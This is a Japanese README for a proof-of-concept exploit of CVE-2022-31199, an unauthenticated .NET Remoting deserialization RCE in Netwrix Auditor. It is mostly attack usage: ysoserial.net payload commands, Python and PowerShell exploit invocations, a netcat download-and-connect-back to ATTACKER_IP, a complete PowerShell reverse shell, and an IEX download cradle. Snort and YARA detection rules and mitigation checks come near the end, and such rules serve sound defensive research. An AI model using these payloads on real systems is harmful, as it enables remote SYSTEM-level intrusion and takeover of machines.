
CVE-2022-31199の概念実証エクスプロイト。Netwrix Auditorにおける重要な.NETデシリアライゼーションRCE。PythonおよびPowerShellスクリプト、ysoserial.netを使用したペイロード生成、および許可されたセキュリティテスト用の検出シグネチャを含む。
CVE-2022-31199 は、Netwrix Auditor バージョン 10.5 以前における、重大な安全でないオブジェクトデシリアライゼーションの脆弱性です。この脆弱性は、TCP ポート 9004 でリッスンしているセキュリティ保護されていない .NET Remoting サービスに存在し、認証されていないリモート攻撃者に NT AUTHORITY\SYSTEM 権限での任意のコード実行を許可します。
この脆弱性は、実際に以下の攻撃者グループによって積極的に悪用されています:
悪用に成功すると、通常以下のような結果をもたらします:
このリポジトリには、CVE-2022-31199 の完全な Proof of Concept (PoC) エクスプロイトが含まれています:
exploit.py - Python ベースのエクスプロイトフレームワークexploit.ps1 - PowerShell によるエクスプロイトスクリプトREADME.md - 本ドキュメントmanual-exploitation.md - 手動エクスプロイト手順ガイドysoserial.net - .NET デシリアライゼーションペイロード生成ツール
ExploitRemotingService - .NET Remoting エクスプロイトツール
python3 exploit.py --target 192.168.1.100 --check
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
exploit.py)python3 exploit.py --target 10.10.10.100 --check
# ステップ 1: ペイロードを生成
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"
# ステップ 2: エクスプロイトを実行
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]
# カスタムポート
python3 exploit.py --target 10.10.10.100 --port 9004 --check
# カスタムエンドポイント
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check
--target : ターゲット IP アドレスまたはホスト名(必須)
--port : ターゲットポート(デフォルト: 9004)
--endpoint : .NET Remoting エンドポイント名(デフォルト: UAVRServer)
--check : 脆弱性を確認するのみ、エクスプロイトは行わない
--payload : ysoserial.net からの Base64 エンコードされたペイロード
exploit.ps1).\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# 単純なコマンド実行
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
# 出力をファイルに書き込む
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"
# カスタムポート
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"
-Target : ターゲット IP アドレスまたはホスト名(必須)
-Port : ターゲットポート(デフォルト: 9004)
-Command : ターゲット上で実行するコマンド(デフォルト: "whoami")
-CheckOnly : 脆弱性を確認するのみ、エクスプロイトは行わない
# システム情報を確認
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"
nc -lvnp 4444
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
python3 -m http.server 8000
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"
# 接続性をテスト
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver
# リースモードで実行(一部の保護をバイパス)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\
# オブジェクト参照で実行
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"
脆弱性は以下に起因します:
1. 攻撃者が TCP ポート 9004 に接続
2. .NET Remoting サービス (UAVRServer エンドポイント) を特定
3. ysoserial.net を使用して悪意のあるシリアル化ペイロードを生成
4. .NET Remoting プロトコルを介してペイロードを送信
5. ターゲットが BinaryFormatter を使用してオブジェクトをデシリアライズ
6. ガジェットチェーンが任意のコードを実行
7. コードが NT AUTHORITY\SYSTEM 権限で実行
この脆弱性に対して動作する ysoserial.net ガジェット:
.NET Remoting プロトコル構造:
┌─────────────────────────────────────┐
│ プリアンブル (8 バイト) │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ ヘッダー │
├─────────────────────────────────────┤
│ URI (UAVRServer) │
├─────────────────────────────────────┤
│ シリアル化オブジェクト (BinaryFormatter) │
└─────────────────────────────────────┘
alert tcp any any -> any 9004 (
msg:"CVE-2022-31199 Netwrix .NET Remoting Exploit Attempt";
content:"|00 01 00 00 01 00 00 00|";
depth:8;
content:"System.Runtime.Remoting";
distance:0;
sid:1000001;
rev:1;
)
# ポート 9004 がリッスンしているか確認
netstat -ano | findstr :9004
# プロセスを特定
tasklist /FI "PID eq [PID]"
rule CVE_2022_31199_Netwrix_Exploit {
meta:
description = "Detects CVE-2022-31199 exploitation attempt"
author = "Security Researcher"
date = "2024-11-17"
severity = "critical"
strings:
$header = { 00 01 00 00 01 00 00 00 }
$remoting1 = "System.Runtime.Remoting" ascii
$remoting2 = "UAVRServer" ascii
$remoting3 = "Netwrix" ascii
$serialize = "BinaryFormatter" ascii
$gadget1 = "TypeConfuseDelegate" ascii
$gadget2 = "ObjectDataProvider" ascii
condition:
$header at 0 and
($remoting1 or $remoting2 or $remoting3) and
$serialize and
any of ($gadget*)
}
Netwrix Auditor 10.5 以降に更新
ネットワークセグメンテーション
監視
# Netwrix Auditor のバージョンを確認
Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version
# ポートが露出しているか確認
Test-NetConnection -ComputerName localhost -Port 9004
# ファイアウォールルールを確認
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}
重要: これらの Proof of Concept (PoC) エクスプロイトは、以下の目的で提供されます:
- 教育目的
- 許可されたセキュリティテスト
- 脆弱性調査
- 防御的なセキュリティ運用
コンピュータシステムへの不正アクセスは違法です。
これらのツールを使用することにより、以下に同意するものとします:
1. 自分が所有している、または明示的な書面によるテス ト許可を得ているシステムのみをテストすること
2. 該当するすべての地方、州、連邦法を遵守すること
3. ツールを責任を持って倫理的に使用すること
4. 悪意のある目的に使用しないこと
作成者は、これらのツールの誤用について一切の責任を負いません。
自己責任で使用してください。
問題点や改善点を見つけましたか? 以下の方法でご連絡ください:
バージョン: 1.0
最終更新日: 2024 年 11 月 17 日
メンテナンス: セキュリティ研究コミュニティ
質問や問題がある場合は、公式のアドバイザリとドキュメントを参照してください。